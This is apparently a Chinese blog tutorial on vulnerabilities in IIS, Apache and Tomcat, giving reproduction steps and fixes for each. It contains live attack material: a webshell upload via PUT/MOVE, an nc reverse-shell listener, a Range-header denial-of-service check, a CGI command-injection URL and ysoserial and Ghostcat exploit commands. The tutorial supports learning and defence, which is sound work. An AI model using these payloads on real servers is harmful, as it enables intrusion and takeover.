IIS Nginx Apache Tomcat 中间件漏洞
简介
中间件(英语:Middleware)是提供系统软件和应用软件之间连接的软件,以便于软件各部件之间的沟通。中间件处在操作系统和更高一级应用程序之间。他充当的功能是:将程序运行环境与操作系统隔离,从而实现应用程序开发者不必为更多系统问题忧虑,而直接关注该应用程序在解决问题上的能力 。容器就是中间件的一种。
也就是说,关于中间件,我们可以理解为:是一类能够为一种或多种应用程序合作互通、资源共享,同
时还能够为该应用程序提供相关的服务的软件。(注意:中间件是一类软件的总称,不是单独的一个软件)
我们经常管web中间件叫做web服务器或者web容器
常见的中间件
iis
apache
tomcat
nginx
jboss
Weblogic
WebSphere
IIS 中间件漏洞
iis6.0 PUT上传漏洞
漏洞描述
IIS Server 在 Web 服务扩展中开启了 WebDAV ,配置了可以写入的权限,造成任意文件上传。
利用条件:
- iis6.0
- 开启WebDAV
- 配置了写入权限
版本:IIS 6.0
漏洞复现条件
开启 WebDAV 和写权限
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DO7W1jj0-1657504049590)(http://www.lianqing.xyz/wp-content/uploads/2022/07/image-1657503314170.png)]
漏洞复现
用burpsuite 提交OPTIONS 查看支持的协议
回显中存在PUT协议说明存在 PUT 上传漏洞
构造数据包,利用漏洞
PUT /test.txt HTTP/1.1
Host: upload.moonteam.com
Content-Length: 25
<%eval request("cmd")%>
有时候不能上传 asp 或者 php类型的文件,我们可以查看一下 是否可以利用 MOVE协议进行移动文件并改名来绕过限制
MOVE /test.txt HTTP/1.1
Host: upload.moonteam.com
Destination: http://upload.moonteam.com/shell.asp
我们使用蚁剑连接一下
漏洞复现成功
漏洞修复
- 关闭webdav
- 关闭写入权限
iis6.0 解析漏洞
基于文件名的解析漏洞
原理
该版本默认将*.asp;.jpg 此种格式的文件名,当成Asp解析。服务器默认不解析 ; 号及其后面的内容,相当于截断。
iis除了会将asp解析成脚本执行文件之外,还会将 cer cdx asa
扩展名解析成asp
iis6.0->主目录->配置 查看 这几种扩展名都是指向同一个文件
C:\WINDOWS\system32\inetsrv\asp.dll 所以都解析成asp
复现
通过文件上传,或者创建文件,格式为*.asp;.jpg
防御
- 禁止创建和上传此类畸形文件
- 图片存放目录设置成禁止脚本文件执行
- 升级iis版本
基于文件夹的解析漏洞
原理
iis6.0版本默认将 *.asp/ 目录下的所有文件当成Asp解析。
复现
创建文件.asp文件夹 上传图片格式后门到此目录
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2lVbYFgT-1657504049595)(http://www.lianqing.xyz/wp-content/uploads/2022/07/image-1657503460872.png)]
防御
- 禁止创建此类文件夹
- 升级iis版本
IIS短文件漏洞
简介
Windows 以 8.3 格式生成与 MS-DOS 兼容的(短)文件名,以允许基于 MS-DOS 或 16 位Windows的程序访问这些文件。在cmd下输入"dir /x"即可看到短文件名的效果。
原理
当后缀小于4时,短文件名产生需要文件(夹)名前缀字符长度大于等于9位。
当后缀大于等于4时,文件名前缀字符长度即使为1,也会产生短文件名。
目前IIS支持短文件名猜测的HTTP方法主要包括:DEBUG、OPTIONS、GET、POST、HEAD、TRACE六种
IIS 8.0之后的版本只能通过OPTIONS和TRACE方法被猜测成功
复现
IIS8.0以下版本需要开启ASP.NET支持,IIS>=8.0版本,即使没有安装ASP.NET,通过
OPTIONS和TRACE方法也可以猜解成功。以下通过开启IIS6.0 ASP.NET后进行复现。
短文件名特征:
-
只显示前6位的字符,后续字符用~1代替。其中数字1是可以递增。如果存在文件名类似的文件,则前面的6个字符是相同的,后面的数字进行递增
-
后缀名最长只有3位,超过3位的会生成短文件名,且后缀多余的部分会截断。
-
所有小写字母均转换成大写的字母
长文件名中包含多个”.”的时候,以文件最后一个”.”作为短文件名的后缀 -
长文件名前缀/文件夹名字符长度符合0-9和A-Z、a-z范围且需要大于等于9位才会生成短文件名,如果包含空格或者其他部分特殊字符,不论长度均会生成短文件。
使用payload验证目标是否存在IIS短文件名漏洞,下图显示的404,说明目标存在该短文件名
注:* 可以匹配n个字符, n可以为0
http://upload.moonteam.com/*~1*/a.aspx
通过浏览器访问一个不存在的短文件名,会返回400状态码, 400说明该文件不存在
http://upload.moonteam.com/zzzz*~1*/a.aspx
通过浏览器访问上面两个payload,根据返回的结果,可以说明目标存在IIS短文件漏洞
下面附上一份 iis 全版本报错列表
手工复现
在网站目录下新建一个 abcde1231111.txt文件,分别访问
http://upload.moonteam.com/a*~1*/a.aspx
http://upload.moonteam.com/b*~1*/a.aspx
通过两次的提交确认了a的状态码是404 b的状态码是400 所以存在a文件开头的短文件。
通过上面的方法接着往后猜
http://upload.moonteam.com/abcde*~1*/a.aspx
到这文件名已经出来了,接着就是判断是目录还是文件。
http://upload.moonteam.com/abcde*~1/a.aspx
判断是文件 按照a-z进行测试 404表示存在 400表示不存在 第一个字符不是a开头的文件
http://upload.moonteam.com/abcde*~1.a*/a.aspx
第一个是字符是t开头的,接着往后测试
http://upload.moonteam.com/abcde*~1.t*/a.aspx
http://upload.moonteam.com/abcde*~1.txt*/a.aspx
按照上面的方法依次猜解得到该短文件名的后缀是txt 短文件名为 abcde~1.txt 可以接着猜解
abcde1231111.txt文件名
脚本复现
github 项目地址
https://github.com/shelldownow/python3-iis_shortname_Scan-.git
使用IIS短文件名扫描软件,获取目标存在哪些短文件名
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pKztcdGC-1657504049597)(http://www.lianqing.xyz/wp-content/uploads/2022/07/image-1657503531987.png)]
防御
- 升级.net framework
- 修改注册表键值:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem
修改NtfsDisable8dot3NameCreation为1。修改完成后,需要重启系统生效。 - 命令行关闭 fsutil behavior set disable8dot3 1
新建文件 aaaaaaaaaaaaaazzzzz.txt 已经没有短文件名了。
注:此方法只能禁止NTFS8.3格式文件名创建,已经存在的文件的短文件名无法移除,需要重新复制才会消
失。如果不重新复制,已经存在的短文件名则是不会消失的。
将web文件夹的内容拷贝到另一个位置,如c:\www到c:\ww,然后删除原文件夹,再重命名c:\ww到
c:\www。
iis RCE-CVE-2017-7269
简介
Microsoft windows Server 2003 R2中的 Interne信息服务IIS6.0中的 WebDAV服务中的ScStoragePathFromUrl函数中的缓冲区溢出允许远程攻击者通过以 If:<http:// 开头的长标头执行任意代码 PROPFIND请求
影响范围
WiNdows Server 2003 R2上使用IIS6.0并开启 WebDAV扩展。
复现
使用网上现存的exp,github 地址如下
https://github.com/shelldownow/python3-iis_shortname_Scan-.git
python2 iis 192.168.0.115 80 192.168.0.154 9999
nc -lvnp 9999
防御
- 关闭 WebDav服务
- 升级
- 部署安全设备
iis7文件解析漏洞
原理
IIS7.x版本在Fast-CGl运行模式下,在任意文件,例:a001.jpg/png后面加上/.php,会将a001.jpg/png
解析为php文件
复现
上传图片到网站允许目录 在图片上加上 /.php
防御
- 配置 cgi fix_pathinfo(php inil中)为0并重启php-cgi程序
- 编辑映射模块->映射->打勾
HTTP.SYS远程代码执行(MS15-034)
HTTP.SYS是Microsoft Windows处理HTTP请求的内核驱动程序,为了优化IIS服务器性能,从IIS6.0引入,IIS服务进程依赖HTTP.SYS
HTTP.SYS远程代码执行漏洞实质是HTTP.SYS的整数溢出漏洞,当攻击者向受影响的Windows系统发送特殊设计的HTTP 请求,HTTP.sys 未正确分析时就会导致此漏洞,成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。
主要存在Windows+IIS的环境下,任何安装了微软IIS 6.0以上的Windows Server 2008 R2/Server
2012/Server 2012 R2以及Windows 7/8/8.1操作系统都受到这个漏洞的影响验证这个漏洞
影响范围
Windows7、Windows server 2008 R2、Windows8、Windows server2012、Windows8.1和Windows server 2012 R2
影响版本
IIS7.5、IIS8.0、IIS8.5
复现
访问网站
编辑请求头,增加Range: bytes=0-18446744073709551615字段,若返回码状态为416 Requested
Range Not Satisfiable,则存在HTTP.SYS远程代码执行漏洞。
poc 地址: https://github.com/davidjura/MS15-034-IIS-Active-DoS-Exploit-PoC
可以看到服务器已经挂掉了
这个漏洞多用于DDOS攻击
防御
- 安装修复补丁(KB3042553)
Apache 中间件漏洞
Apache 是世界使用排名第一的 Web 服务器软件。它可以运行在几乎所有广泛使用的计算机平台上,由于其跨平台和安全性被广泛使用,是最流行的 Web 服务器端软件之一。
apache目录结构
bin:存放常用命令工具,如httpd
cgi-bin:存放linux下常用命令,如xxx.sh
error:错误记录
htdocs:网站源码
icons:网站图标
manual:手册
modules:扩展模块
Apache 未知扩展名解析漏洞
漏洞原理
Apache默认一个文件可以有多个以点分割的后缀,当最右边的后缀无法识别,则继续向左识别,直到识别到合法后缀才进行解析。
复现
漏洞原理比较简单,意思就是在解析的时候如果遇到认不到的后缀名我就继续像前面解析直到遇到 .php 就解析成php文件
使用kali来进行复现
sudo service apache2 restart
cd /etc/apache2/mods-enabled
sudo vim php8.1.conf
# 向网站路径写入文件
echo "<?php phpinfo();?>" > /var/www/html/phpinfo.php.xxx
# 重启apache服务
sudo service apache2 restart
修改配置文件
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XVcjcLWT-1657504049602)(http://www.lianqing.xyz/wp-content/uploads/2022/07/image-1657503746563.png)]
访问 phpinfo.php.xxx
防御
解决方案一
在httpd.conf或httpd-vhosts.conf中加入以下语句,从而禁止文件名格式为.php.的访问权限:
<FilesMatch ".(php.|php3.|php4.|php5.)">
Order Deny,Allow
Deny from all
</FilesMatch>
解决方案二
如果需要保留文件名,可以修改程序源代码,替换上传文件名中的“.”为“_”:
$filename = str_replace('.', '_', $filename);
AddHandler导致的解析漏洞
漏洞原理
- apache在解析文件时有一个原则:当碰到不认识的扩展名时,将会从后往前解析,直到遇到认识的扩展名为止
- 如果都不认识将会暴露源码。在apache配置不当的时候就会造成apache解析漏洞。
复现
在httpd.conf 把下面代码注释去掉,后缀是存在.php .phtml都会解析成php文件
AddType application/x-httpd-php .php .phtml
防御
- 1.在httpd.conf或httpd-vhosts.conf中加入以下语句,从而禁止文件名格式为.php.的访问权限:
<FilesMatch ".(php.|php3.|php4.|php5.)">
Order Deny,Allow
Deny from all
</FilesMatch>
- 2.把配置不当的文件进行修改
apache 目录遍历漏洞
原理
当客户端访问到一个目录时,Apache服务器将会默认寻找一个index list中的文件,若文 件不存在,则会列出当前目录下所有文件或返回403状态码,而列出目录下所有文件的行为称为目录遍历。
复现
修改配置文件 httpd.conf 中的内容
DocumentRoot "C:\phpStudy\WWW"
<Directory />
Options +Indexes +FollowSymLinks +ExecCGI
AllowOverride All
Order allow,deny
Allow from all
Require all granted
</Directory>
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ddrZpGnl-1657504049603)(http://www.lianqing.xyz/wp-content/uploads/2022/07/image-1657503778523.png)]
防御
在httpd.conf文件中找到Options + Indexes + FollowSymLinks + ExecCGI并修改成Options -Indexes +FollowSymLinks + ExecCGI并保存(吧+修改为-)
+ Indexes 允许目录浏览
— Indexes 禁止目录浏览
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dIMdukOg-1657504049604)(http://www.lianqing.xyz/wp-content/uploads/2022/07/image-1657503813594.png)]
Apache HTTPD 换行解析漏洞(CVE-2017-15715)
漏洞原理
Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0a将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。
可以看到这里获取文件名是需要单独post一个name的,因为如果通过 $_FILES[‘file’][‘name’] 获取文件名的话,会把\x0a自动去除,所以 $_FILES[‘file’][‘name’] 这种方式获取文件名就不会造成这个漏洞
影响范围
apache :2.4.0~2.4.29版本
复现
我们可以构造表单来利用漏洞
<html>
<head><meta charset="utf-8"></head>
<body>
<form action="http://192.168.150.152:55634" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="text" name="name" <br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
0x0d \r CR这三者代表是回车,是同一个东西,回车的作用只是移动光标至该行的起始位置
0x0a \n CL这三者代表换行,是同一个东西,换行至下一行行首起始位置;
抓包进行修改
访问 http://192.168.150.152:55634/shell.php%0a
进行漏洞验证
防御
- 升级到最新版本
- 或将上传的文件重命名为为时间戳+随机数+.jpg的格式并禁用上传文件目录执行
Tomcat 中间件漏洞
tomcat是一个开源而且免费的jsp服务器,属于轻量级应用服务器。它可以实现JavaWeb程序的装载,是配置JSP(Java Server Page)和JAVA系统必备的一款环境。
Tomcat 远程代码执行漏洞(CVE-2017-12615)
漏洞描述
当 Tomcat运行在Windows操作系统时,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。
目录介绍
|-- webapp # 站点根目录
|-- META-INF # META-INF 目录
| `-- MANIFEST.MF # 配置清单文件
|-- WEB-INF # WEB-INF 目录
| |-- classes # class文件目录
| | |-- *.class # 程序需要的 class 文件
| | `-- *.xml # 程序需要的 xml 文件
| |-- lib # 库文件夹
| | `-- *.jar # 程序需要的 jar 包
| `-- web.xml # Web应用程序的部署描述文件
|-- <userdir> # 自定义的目录
|-- <userfiles> # 自定义的资源文件
webapp:工程发布文件夹。其实每个 war 包都可以视为 webapp 的压缩包。
META-INF:META-INF 目录用于存放工程自身相关的一些信息,元文件信息,通常由开发工具,环境自动生
成。
WEB-INF:Java web应用的安全目录。所谓安全就是客户端无法访问,只有服务端可以访问的目录。
/WEB-INF/classes:存放程序所需要的所有 Java class 文件。
/WEB-INF/lib:存放程序所需要的所有 jar 文件。
/WEB-INF/web.xml:web 应用的部署配置文件。它是工程中最重要的配置文件,它描述了 servlet 和组
成应用的其它组件,以及应用初始化参数、安全管理约束等。
漏洞原理
当在Tomcat的conf(配置目录下)/web.xml配置文件中添加readonly设置为false时,将导致该漏洞产生,(需要允许put请求)CVE-2017-12615影响范围: Apache Tomcat 7.0.0 - 7.0.79 Apache Tomcat/8.5.19
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
下面我们使用冰蝎来作为webshell管理工具,下面是冰蝎 Github 下载地址:
https://github.com/rebeyond/Behinder/releases
漏洞复现
使用burp抓包进行修改
支持三种上传绕过方式 默认使用put 加文件名是失败的 需要绕过
PUT /shell.jsp%20
PUT /shell.jsp::$DATA
PUT /shell.jsp/
利用冰蝎进行连接,这里我的冰蝎有点问题于是我又上传了一个蚁剑的马
防御
- 设置 readonly为true
tomcat弱口令&war远程部署
漏洞原理
在tomcat8环境下默认进入后台的密码为tomcat/tomcat,未修改造成未授权即可进入后台,或者管理员把密码设置成弱口令,使用工具对其进行穷举。得到密码后,也可以进行后台上传恶意代码控制服务器。
漏洞复现
上传war压缩包部署项目
使用蚁剑进行连接
防御
- 设置强口令 conf/tomcat-users.xml
<user username="tomcat" password="tomcat" roles="manager-gui,manager-
script,manager-jmx,manager-status,admin-gui,admin-script" />
- 删除manger文件
tomcat 远程代码执行(CVE-2019-0232)
漏洞描述
Apache Tomcat是美国阿帕奇(Apache)软件基金会的一款轻量级Web应用服务器。该程序实现了对Servlet和JavaServer Page(JSP)的支持。4月11日,Apache官方发布通告称将在最新版本中修复一个远程代码执行漏洞(CVE-2019-0232),由于JRE将命令行参数传递给Windows的方式存在错误,会导致CGI Servlet受到远程执行代码的攻击。
触发该漏洞需要同时满足以下条件:
- 系统为Windows
- 启用了CGI Servlet(默认为关闭)
- 启用了enableCmdLineArguments(Tomcat 9.0.*及官方未来发布版本默认为关闭)
影响范围
Apache Tomcat 9.0.0.M1 to 9.0.17
Apache Tomcat 8.5.0 to 8.5.39
Apache Tomcat 7.0.0 to 7.0.93
漏洞复现
搭建tomcat后修改web.xml
Tomcat的CGI_Servlet组件默认是关闭的,在 conf/web.xml 中找到注释的CGIServlet部分,去掉注释,并配置enableCmdLineArguments和executable,如下:
<servlet>
<servlet-name>cgi</servlet-name>
<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>cgiPathPrefix</param-name>
<param-value>WEB-INF/cgi-bin</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>
<load-on-startup>5</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>cgi</servlet-name>
<url-pattern>/cgi-bin/*</url-pattern>
</servlet-mapping>
然后修改在conf/context.xml中的添加privileged="true"语句
<Context privileged="true">
<!-- Default set of monitored resources. If one of these changes, the -->
<!-- web application will be reloaded. -->
<WatchedResource>WEB-INF/web.xml</WatchedResource>
<WatchedResource>${catalina.base}/conf/web.xml</WatchedResource>
<!-- Uncomment this to disable session persistence across Tomcat restarts --
>
<!--
<Manager pathname="" />
-->
</Context>
在webappsROOTWEB-INF下创建一个cgi-bin文件夹,并在文件夹内创建一个bat文件写入
@echo off
echo Content-Type: text/plain
echo.
set off=%~1
%off%
使用以下语句进行测试
http://192.168.0.136:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Cnet%20user
漏洞修复
受影响版本的用户应该应用下列其中一项缓解。升级到:
Apache Tomcat 9.0.18或更高版本
Apache Tomcat 8.5.40或更高版本
Apache Tomcat 7.0.93或更高版本
tomcat反序列化漏洞(cve-2016-8735)
漏洞描述
该漏洞与之前Oracle发布的mxRemoteLifecycleListener反序列化漏洞(CVE-2016-3427)相关,是由于使用了JmxRemoteLifecycleListener的监听功能所导致而在Oracle官方发布修复后,Tomcat未能及时修复更新而导致 的远程代码执行。该漏洞所造成的最根本原因是Tomcat在配置JMX做监控时使用了JmxRemoteLifecycleListener的方法。
影响范围
漏洞影响版本:
ApacheTomcat 9.0.0.M1 到9.0.0.M11
ApacheTomcat 8.5.0 到8.5.6
ApacheTomcat 8.0.0.RC1 到8.0.38
ApacheTomcat 7.0.0 到7.0.72
ApacheTomcat 6.0.0 到6.0.47
漏洞复现
利用条件:外部需要开启JmxRemoteLifecycleListener监听的10001和10002端口,来实现远程代码执
行。
conf/server.xml中第30行中配置启用JmxRemoteLifecycleListener功能监听的端口:
修改bin\catalina.bat
在Execute The Requested Comman上面添加
-Dcom.sun.management.jmxremote.ssl=false 指定是否使用SSL通讯
-Dcom.sun.management.jmxremote.authenticate=false 指定是否需要密码验证
允许 startup.bat tomcat 查看端口
<Listener className="org.apache.catalina.mbeans.JmxRemoteLifecycleListener"
rmiRegistryPortPlatform="10001" rmiServerPortPlatform="10002" />
set CATALINA_OPTS=-Dcom.sun.management.jmxremote.ssl=false -
Dcom.sun.management.jmxremote.authenticate=false
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fhN49pxO-1657504049609)(http://www.lianqing.xyz/wp-content/uploads/2022/07/image-1657503961366.png)]
执行命令
执行弹窗计算器
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 192.168.0.167 10001
Groovy1 "calc.exe"
漏洞修复:
- 关闭 JmxRemoteLifecycleListener 功能,或者是对 jmx JmxRemoteLifecycleListener 远程端口进行网络访问控制。同时,增加严格的认证方式。
- 根据官方去升级更新相对应的版本。
Apache Tomcat文件包含漏洞CVE-2020-1938)
漏洞描述
Tomcat是Apache开源组织开发的用于处理HTTP服务的项目,两者都是免费的,都可以做为独立的Web服务器运行。Apache Tomcat服务器存在文件包含漏洞,攻击者可利用该漏洞读取或包含 Tomcat上所有 webapp 目录下的任意文件,如:webapp 配置文件或源代码等。
影响版本
Apache Tomcat 6
Tomcat 7系列 <7.0.100
Tomcat 8系列 < 8.5.51
Tomcat 9 系列 <9.0.31
漏洞复现
tomcat默认的conf/server.xml中配置了2个Connector,一个为8080的对外提供的HTTP协议端口,另外一个就是默认的8009 AJP协议端口,两个端口默认均监听在外网ip。
-->
<Connector port="8080" protocol="HTTP/1.1"
connectionTimeout="20000"
redirectPort="8443" />
<!-- A "Connector" using the shared thread pool-->
<Connector executor="tomcatThreadPool"
port="8080" protocol="HTTP/1.1"
connectionTimeout="20000"
redirectPort="8443" />
<!-- Define an AJP 1.3 Connector on port 8009 -->
<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />
tomcat在接收ajp请求的时候调用org.apache.coyote.ajp.AjpProcessor来处理ajp消息,prepareRequest将ajp里面的内容取出来设置成request对象的Attribute属性。可以通过此种特性从而可以控制request对象的下面三个Attribute属性
- javax.servlet.include.request_uri
- javax.servlet.include.path_info
- javax.servlet.include.servlet_path
再通过控制ajp控制的上述三个属性来读取文件,通过操控上述三个属性从而可以读取到应用目录下的任何文件。
使用攻击payload执行即可
exp github地址:https://github.com/xindongzhuaizhuai/CVE-2020-1938
python CVE-2020-1938.py -p 8009 -f /WEB-INF/web.xml 192.168.0.168
漏洞修复
- 更新到安全版本
Apache Tomcat 7.0.100
Apache Tomcat 8.5.51
Apache Tomcat 9.0.31
- 关闭AJP服务,修改Tomcat配置文件Service.xml,注释掉
<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />
- 配置ajp配置中的secretRequired跟secret属性来限制认证
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· AI 智能体引爆开源社区「GitHub 热点速览」
· 从HTTP原因短语缺失研究HTTP/2和HTTP/3的设计差异
· 三行代码完成国际化适配,妙~啊~